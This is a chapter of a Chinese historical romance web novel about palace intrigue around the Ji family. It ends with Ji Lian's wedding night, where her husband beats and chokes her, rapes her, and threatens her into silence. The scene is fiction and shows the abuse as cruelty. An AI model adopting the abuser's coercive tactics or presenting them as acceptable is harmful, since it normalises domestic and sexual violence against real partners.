“殿下,为何要执着那姬三娘子?陛下不喜姬家,已然动手清算,现下又是夺位的关键时候,您为何要凑到姬家上去?”属下不解地问。
“父皇的心思谁能猜中?今个儿能对付姬家明个儿就能捧着姬家。姬家好歹是百年望族,拉拢他们没错的。”三皇子拉开帘子瞧了眼越来越远的姬府,轻笑了声,“姬三娘子你可千万别死啊,你还有大作用呢……”
“那您之前还……”属下欲言又止,他说的就是派刺客刺杀姬昤一事。
“既然杀不死遂不了父皇的心愿那就拉拢,姬家还没被清算完,也是一大势力,对我争太子位有极大的助力。”三皇子放下了帘子,然后吩咐道,“回去后送些补药给姬三娘子聊表我的心意。”
“喏。”属下点头应道。
“再去查查姬绥英身边那两个会武的娘子都是何人,她们竟与你的身手不相上下,确是人才。”三皇子又道。
“喏。”
17. 姬莲出嫁
姬家三娘子姬绥英遭遇刺杀一事几乎是瞬间就传遍了整个建康城,一时间不少人递上拜帖想要看望,而且姬府外围满了流民乞儿,据他们所说,他们只是担心,想要知道姬三娘子到底如何了。
皇宫。
太极殿西堂。
“陛下,姬三娘子重伤在床,但……似乎并无大碍。”禀报的太监缓缓说道。
上方的皇帝年约四十,此时姿态慵懒地倚靠在椅子上,一只手拿着书,另一只手随意地翻阅着,听着下方来人禀报神色都未变分毫。
“姬三娘子受重伤,朕这个皇帝自然得安抚一下。说来姬昤幼时朕还抱过她,你去挑些名贵药材送到姬府吧。”皇帝语气随意。
“喏。”太监应声,接着又道,“陛下,三皇子去看望了姬三娘子。”
皇帝眉毛一挑,语调上扬:“哦?老三?”
“三皇子似乎挺担心姬三娘子的,说来三殿下与姬三娘子年龄也相仿……”太监欲言又止,但皇帝也明白了其中意思。
“老三也十六了,是该定亲了。姬昤么……也及笄了。姬家没有传出任何姬昤定亲的消息吗?”皇帝反问。
“回陛下的话,并无,姬家主和夫人似乎暂时没有这个意思。”太监回答。
“嗯,既如此……”皇帝眼珠子转溜了下,瞥了眼太监,话音一转,“罢了,姬昤年岁尚小,还是等等吧。你去送药吧。”
太监敛眸:“喏。”说罢退了出去,另一个太监走了进来。
“皇上,二皇子求见。”他道。
“让他进来吧。”皇帝说着随手把书一扔。
一翩翩郎君走了进来,恭敬行礼:“儿臣见过父皇。”
“所为何事?”皇帝问。
只见二皇子从袖中拿出一个小木盒子,打开后递上:“父皇,这是儿臣寻来的灵丹,想着这种灵物就该献给父皇才是。”
皇帝瞥了眼一旁站着的太监,太监会意,走了过去将木盒子拿到了皇帝身边。
皇帝拿起其中放着的一颗棕褐色的丹丸,先是瞧了瞧,再是置于鼻前轻嗅,最后一口吞下。
皇帝笑了:“老二有心了。”
二皇子也笑了:“儿臣定当为父皇分忧!”
“好,不愧是朕的好儿子啊!”皇帝一脸满意。
“有父皇这一句话,儿臣死亦足矣!”二皇子一脸激动,像极了渴望父爱的好儿子。
“唉,莫说胡话。可还有事?无事就先退下吧,朕要小憩了。”皇帝说着打了个哈欠。
“儿臣告退。”二皇子立刻说着退了出去。
姬府。
姬父书房。
来送药材的太监刚刚离开,姬父看着面前的名贵药材久久不语。
“家主……”一旁的老管家开口了。
“收起来吧。”姬父摆了摆手。
“喏。”老管家应声,接着让几个小厮把药材放进了库房。
“昤昤如何了?”姬父问。
“三娘子已经醒了。”老管家回答。
姬父立即起身往外走去。
英兰苑。
姬昤卧房。
姬昤坐在床上喝着药,是卫子夫在喂药。
“主公,近日来您是否松懈了?待您伤好还得加强训练才是。”杨妙真说道。
“苦。”姬昤皱着脸推开了药,“是是是,待我好了肯定日日都练。”
卫子夫捻起一颗蜜枣递到姬昤嘴前。
姬昤吃下蜜枣咬了一口,等甜丝丝的气味弥漫了整个口腔才继续喝药。
“三皇子方才还来看过您,还说等您无事让家主知会他一声。”冼英说道。
姬昤咽下药,嘴里还嚼着蜜枣,她冷笑了声:“我跟他无冤无仇,他怎么缠着我不放了?”
“今日的刺客难道是……”冼英欲言又止。
“不是他。”姬昤说道,“那些招式我曾在宫宴上见过,今日的刺客是皇帝派来的。”
“皇帝?!”姬父推门而入,满脸震惊。
“阿耶?”姬昤一愣,其余人全都看向了进来的姬父。
“阿耶你何时来的?听到多少了?”姬昤问。
“在你说是皇帝派来的时候。”姬父有些震惊,“怎么会是皇帝?”
姬昤淡定解释道:“陛下虽已容不下我们姬家,但也不至于这么着急,我想今日这般突然的刺杀应是我去送了湖阳郡主。”
“说来也怪,湖阳郡主突然就病了,突然就殁了。”姬父。
“哼,还不是狗皇帝,不然湖阳郡主怎么会死?”姬昤冷哼一声。
“昤昤慎言!”姬父立刻说道。
“阿耶,留给姬家的时间不多了。”姬昤面色严肃。
“你好好休息,近日来还是少出门吧。”姬父。
“嗯。”姬昤点头。
四月中旬,姬昤身上伤已大好。
自姬昤伤好之后她便日日跟着冼英和杨妙真练武,武艺愈发精进,已经可以和冼英和杨妙真二人打得有来有回不是一直躲了。
而这段时间姬昤一直未出过府,听闻刺客的幕后真凶也抓到了,是一群匪徒,当天只是想抓她换钱,陛下已经下旨清剿匪徒了。
姬昤对此只想呵呵。
很快,时间一转到了五月,五房的姬莲还有七日就要出嫁了,姬府上下都忙活了起来。
五月初七,宜嫁娶。
黄昏时刻,姬莲出嫁了。
吹吹打打好长一个队伍把姬莲送到了谢家。
姬府。
谢先生院子。
“先生,您怎么了?”霍光见谢渊一人坐在属下石桌前喝着酒,神色不明,他不禁上前在一旁坐下。
谢渊不语,只是自顾自地喝着酒。
霍光抿唇,也给自己倒了一杯:“既如此,学生陪先生喝。”说罢一口闷。
谢渊瞥了眼霍光:“你能喝多少?”
霍光思索了片刻,回答:“一直陪先生喝。”
谢渊轻笑了声:“那可别先醉了,我不会扶你回房的。”
“学生定不会醉,定陪先生喝个尽兴!”霍光放下话。
两人你一杯我一杯地喝着,谢渊似是喃喃自语:“姬家五房也是识人不清,竟将女儿嫁到火坑里去。”
“火坑?谢家是火坑吗?那先生离开得好啊,不会被他们牵连。”霍光双眼朦胧,一只手撑着脑袋,说话慢悠悠的。
“你醉了,回房休息吧。”谢渊瞥了眼霍光。
“先生,学生没醉,学生还要陪先生喝呢!”霍光直起身子,努力睁大眼睛,装作一副很清醒的样子。
谢渊被霍光的样子逗笑了,无奈道:“行,你要继续喝就喝吧。”
“敬先生!”霍光“蹭”地一下起身,高举着酒杯,却是对着大树。
谢渊:“……”
“咚”一声,霍光倒地上发出了浅浅的呼噜声。
谢渊无奈叹了口气,看向一旁的小厮:“把他送回屋。”
小厮点头然后企图拉起霍光,结果没想到霍光还挺重,最后他只能扯着霍光的衣领口一路拖着霍光送他回了房间。
谢渊:“……”
谢渊继续喝着酒,看着天上的弯月,又想到了霍光。
如果他的儿子还活着,应该和那小子差不多大了吧。
谢家。
姬莲盖着红盖头满怀喜意地坐在床边,她安静地等着夫婿的到来。
自从定亲后她就差人打听过谢二郎,只知道是一个面容俊朗、喜好诗文的翩翩公子,性子也很温和,说话斯文有礼,是个好郎君。
姬莲忍着内心的激动,直到听到外面传来脚步声,有个婆子喊了声“新郎官来了”,她的心就好像跳到了嗓子眼儿。
“吱呀”,门开了。
姬莲垂眸,从缝隙中瞧见了一双鞋子,那定是她的郎君。
“你们都出去吧。”一道温润的嗓音响起。
“二郎君,可还没……”一个婆子犹豫着开口了。
“我不喜那些,也不喜这么多人在我的房中,都出去吧,我自己来。”谢二郎君接着又道。
“这……喏。”
姬莲只听见脚步声越来越远,好像是丫鬟婆子们都退出去了,又一声“吱呀”,门关上了,接着,是一只白净的素手掀起了她的红盖头。
姬莲微微抬头,想着要以最完美的笑容和面孔面对自己的夫婿,可一抬眸——
“啊!”
姬莲尖叫了一声,双手下意识放下撑在床上。
只见面容俊朗的谢二郎君右
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眼那里有一大块伤疤,像是蜈蚣爬在上面一般。
谢二郎君渐渐扬起一个微笑,面色和善:“卿这是怎么了?被吓到了?”一边说着一边抚上自己的伤疤。
姬莲怎么也没想到自己的夫婿是长这样的,但听着他温和的语气,再仔细瞧瞧,其实除却那个伤疤,她的夫婿长得并不差。
姬莲重新坐好,说道:“是有些吓着了,但现下已经不怕了,郎君莫要怪我。”
谢二郎君在姬莲身边坐下,一只手抬起轻抚姬莲的眉眼,笑容温柔:“我怎会怪你?莲儿,我这般唤你如何?来,喝下这合卺酒,我们便是夫妻了。”他说着从桌上拿过酒杯递给姬莲。
姬莲听着他温柔的声音忍不住露出羞涩的笑容,接着和谢二郎君一起喝下了合卺酒。
谢二郎君看着姬莲喝完了酒,脸上笑容更甚。
“莲儿,不早了,该歇息了。”
姬莲面色一红,因喝了酒,整个人看起来更加羞涩。
她轻轻地“嗯”了一声。
谢二郎君附身过去,在姬莲的唇上落下一吻……
“郎君,歇歇吧,我,我好困,歇歇吧?”姬莲压抑着哭声说道。
“歇?莲儿,今夜可是我们夫妻的新婚夜,这么早歇下可不好。乖,莫说这些我不想听的话了,我不喜欢。”谢二郎君冷着脸看着姬莲,动作却不停,他一只手抚上姬莲的脸,抹去她眼角滑落的泪水,另一只手掐在姬莲的腰间,力道之大,姬莲腰间的那块肉竟然都开始发紫了。
“郎君,我们还有好长的日子,不急于这一时,要不歇歇吧?明日,郎君你明日不是还要去上早朝吗?歇歇吧,郎君,你……”姬莲话未说完便被谢二郎君扇了一巴掌。
“闭嘴!”谢二郎君冷喝道。
姬莲的脸被扇向一边,半张脸渐渐红肿起来,终于她忍不住哭了出来。
“哭什么?你还是怕我对不对?看着我!”谢二郎君掐住姬莲的下巴扭过她的脑袋迫使她看着自己。
姬莲看着那张不复温柔的脸此刻面目狰狞,而他的身上竟然大大小小全是伤疤,丑陋无比。
“郎君你放了我吧,你放过我行不行?不要,不要了,我想回家,不,我要回家!我要找我阿耶阿娘!”姬莲哭着喊着,使劲挣扎着却怎么也挣脱不了。
谢二郎君俯下身子,一只手掐住了姬莲的脖子,他脖间、手上的青筋暴起,整个人看起来十分凶恶。
姬莲瞪大了眼睛,脸渐渐涨红了,她抓着谢二郎君掐着她脖子的那只手,眼泪止不住地流。
“莲儿,回家?别忘了,这桩婚事是你阿耶上门亲自求来的,是他求来的!你要回家作甚?跟你阿耶阿母告状么?别傻了,你阿耶只会怪你为何这么不懂事,为何要惹怒夫婿,为何嫁了人又要立刻跑回家!莲儿,好好忍着,可千万不要坏了你阿耶的大事啊,否则……我可不知道你阿耶是会选择大事还是选择你。”
谢二郎君的话语像寒冬的雪冰冷刺骨,一句又一句无一不在刺激着姬莲,渐渐的,谢二郎君松开了手,又继续起来。
姬莲没有再说话,只是一直哭一直哭。
“莲儿,只要你乖乖的日后荣华富贵少不了你的,不要再惹我生气了。”谢二郎君又恢复了温柔的嗓音,可那眼神却不像在看自己的妻子,而像是在看一个物件,毫无感情。
谢二郎君伸手掐住了姬莲的身体,姬莲吃痛一声,下意识去抓住自己胸前的那双手,可是她听到了谢二郎君不满的声音,她只得收回了手。
这一夜对姬莲来说是那么漫长,她不记得自己哭了多久流了多少泪,也不记得谢二郎君是何时从她身上下去的。
姬莲缓缓转过头看向身边熟睡的夫婿,她艰难地撑起身子,她低头看去,自己身上竟无一块好肉。
姬莲又哭了。
从前她还让姬昤早早定下亲事嫁个好人家,可谁曾想她是如此了,可她一心期盼的好婚事带给她的只有无尽的痛苦。
她不知道这种日子她还要过多久。
“莲儿,好好歇息,再过几个时辰你也要起了,你得去拜见你的丈人丈母。”谢二郎君一把按下姬莲,接着把她搂在自己怀里,姬莲是一点儿不得动弹。
姬莲不语,只是一味地流泪,也不知在何时才渐渐睡去……